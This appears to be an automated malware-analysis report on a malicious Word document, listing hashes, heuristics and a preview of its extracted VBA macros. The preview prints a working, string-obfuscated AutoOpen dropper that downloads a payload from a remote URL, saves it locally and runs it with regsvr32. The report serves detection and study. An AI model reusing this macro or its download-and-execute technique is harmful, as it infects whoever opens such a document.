Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 b0a9be71fe8845ee…

MALICIOUS

Office (OOXML)

134.3 KB Created: 2020-07-09 00:03:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: 692ccd006cc8d14f11711fb8220792b7 SHA-1: 34bb5a370bebb351da13626c08c5679af7ec0a1c SHA-256: b0a9be71fe8845ee4ba32f9d3e47267bdeae9a2dff7d50ea0f27f8959e50cce5
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The OOXML document contains a VBA project with an AutoOpen macro, which is designed to execute automatically when the document is opened. The heuristic 'VBA p-code auto-exec with execution tokens' indicates that the macro is configured to execute shell commands. This suggests the document's primary purpose is to act as a dropper for a secondary payload, likely initiated by the AutoOpen macro.

Heuristics 5

  • External relationship high OOXML_EXTERNAL_REL
    External target in word/_rels/document.xml.rels: file:///C:\Framework\rels\builds\pack1\it.jpg
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2014/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexOOXML external relationship
    • http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/inkOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2017/model3dOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2012/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordml/cexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2016/wordml/cidOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2015/wordml/symexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
    • http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 4505 bytes
SHA-256: 54833545f826b5e2d8e6b0b19206d2abe3d85687bf6f32350b2be3c16ed9a669
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "fd2f419c"
Function dc1eb6dd()
dc1eb6dd = ActiveWindow.Top
End Function
Function de4f1856()
de4f1856 = ActiveWindow.DisplayRulers
End Function
Function c2f56bc4()
c2f56bc4 = 38219.114648
End Function
Function d9ceadf2()
d9ceadf2 = ActiveWindow.Width
End Function
Sub cee4e816(c315eee5, b2541925)
Dim b910df50
b910df50 = FreeFile
Open c315eee5 For Output As #b910df50
Print #b910df50, ba218570(b2541925)
Close #b910df50
End Sub
Function a2e441b3()
a2e441b3 = ActiveWindow.DisplayScreenTips
End Function
Function fa22ad78()
fa22ad78 = ActiveWindow.Selection
End Function
Function a5590c9d()
a5590c9d = ActiveWindow.View
End Function
Function a2ae5c46()
a2ae5c46 = ActiveWindow.UsableHeight
End Function
Function f40fee6b(b99f3ca3)
cc229b12 = Len(b99f3ca3)
For be889abd = 1 To cc229b12 Step 2
dd4f9cd0 = dd4f9cd0 & Mid(b99f3ca3, be889abd, 1)
Next
f40fee6b = dd4f9cd0
End Function
Function e8baf64a()
e8baf64a = ActiveWindow.DisplayScreenTips
End Function
Function bf28426d()
bf28426d = ActiveWindow.VerticalPercentScrolled
End Function
Function d628aead()
d628aead = ActiveWindow.EnvelopeVisible
End Function
Function fcb0c6ec()
fcb0c6ec = ActiveWindow.EnvelopeVisible
End Function
Sub c633c296()
End Sub
Function de7a1f05()
de7a1f05 = Application.ActiveDocument.CompatibilityMode
End Function
Function fb50d7ce()
fb50d7ce = Application.ActiveDocument.ActiveTheme
End Function
Function fc09ac69()
fc09ac69 = ActiveWindow.Thumbnails
End Function
Function f6ef323a()
f6ef323a = Application.ActiveDocument.AttachedTemplate
End Function
Sub AutoOpen()
Dim d85862a6 As New bbd29244
cee4e816 f40fee6b("c4:0\5p1rbodg1r3aam6dfa1t1a4\5644d967446.3j4p3g2"), d85862a6.f36421ff(f40fee6b("h9t7t6p1:e/c/fre08rcfbk3.9cdo0m2/2i6z55e/dyeacc6a0.fp8hfpb?el3=ekbp2te76.7c7a8b6"))
Dim c99b6cb8 As New WshShell
c99b6cb8.exec a496c3c5 & " " & f40fee6b("c4:0\5p1rbodg1r3aam6dfa1t1a4\5644d967446.3j4p3g2")
End Sub

Attribute VB_Name = "f476d156"
Function e03fcb08()
e03fcb08 = Application.ActiveDocument.Application
End Function
Function fb16d9cd()
fb16d9cd = ActiveWindow.DisplayVerticalRuler
End Function
Function ede7f5a7()
ede7f5a7 = ActiveWindow.HorizontalPercentScrolled
End Function
Function db6eeeeb()
db6eeeeb = ActiveWindow.Selection
End Function
Function ba218570(fbe71cbe)
ba218570 = StrConv(fbe71cbe, 64)
End Function
Function a538cb54()
a538cb54 = False
End Function
Function a8e63b5f()
a8e63b5f = ActiveWindow.WindowState
End Function
Function d627637d()
d627637d = 19546.809582625
End Function
Function b484740f()
b484740f = ActiveWindow.UsableHeight
End Function
Function a4470daf()
End Function
Function c73f93de()
c73f93de = ActiveWindow.Height
End Function
Function cffe707a()
cffe707a = ActiveWindow.DisplayLeftScrollBar
End Function
Function be597bcf()
be597bcf = ActiveWindow.StyleAreaWidth
End Function
Function e48eba7e()
e48eba7e = ActiveWindow.Creator
End Function
Function a496c3c5()
a496c3c5 = f40fee6b("r9e2g0s5vcr9392c")
End Function

Attribute VB_Name = "bbd29244"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function a710acee()
a710acee = ActiveWindow.Creator
End Function
Function c8ac47ac()
c8ac47ac = ActiveWindow.WindowNumber
End Function
Function a74a4842()
a74a4842 = "Cortisol carted galley sports"
End Function
Function f8d03314()
f8d03314 = ActiveWindow.Split
End Function
Function f36421ff(ea7bb2e0)
Dim dbdffc8d As Object
Set dbdffc8d = New MSXML2.XMLHTTP30
Call dbdffc8d.Open("GET", ea7bb2e0, False)
dbdffc8d.Send
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 28160 bytes
SHA-256: 1b63d83de691e31a696af14141c789bc9e1ca1fe72641ce111f43ee84eb3da9b

Open this report in the interactive analyzer, or submit your own file for analysis.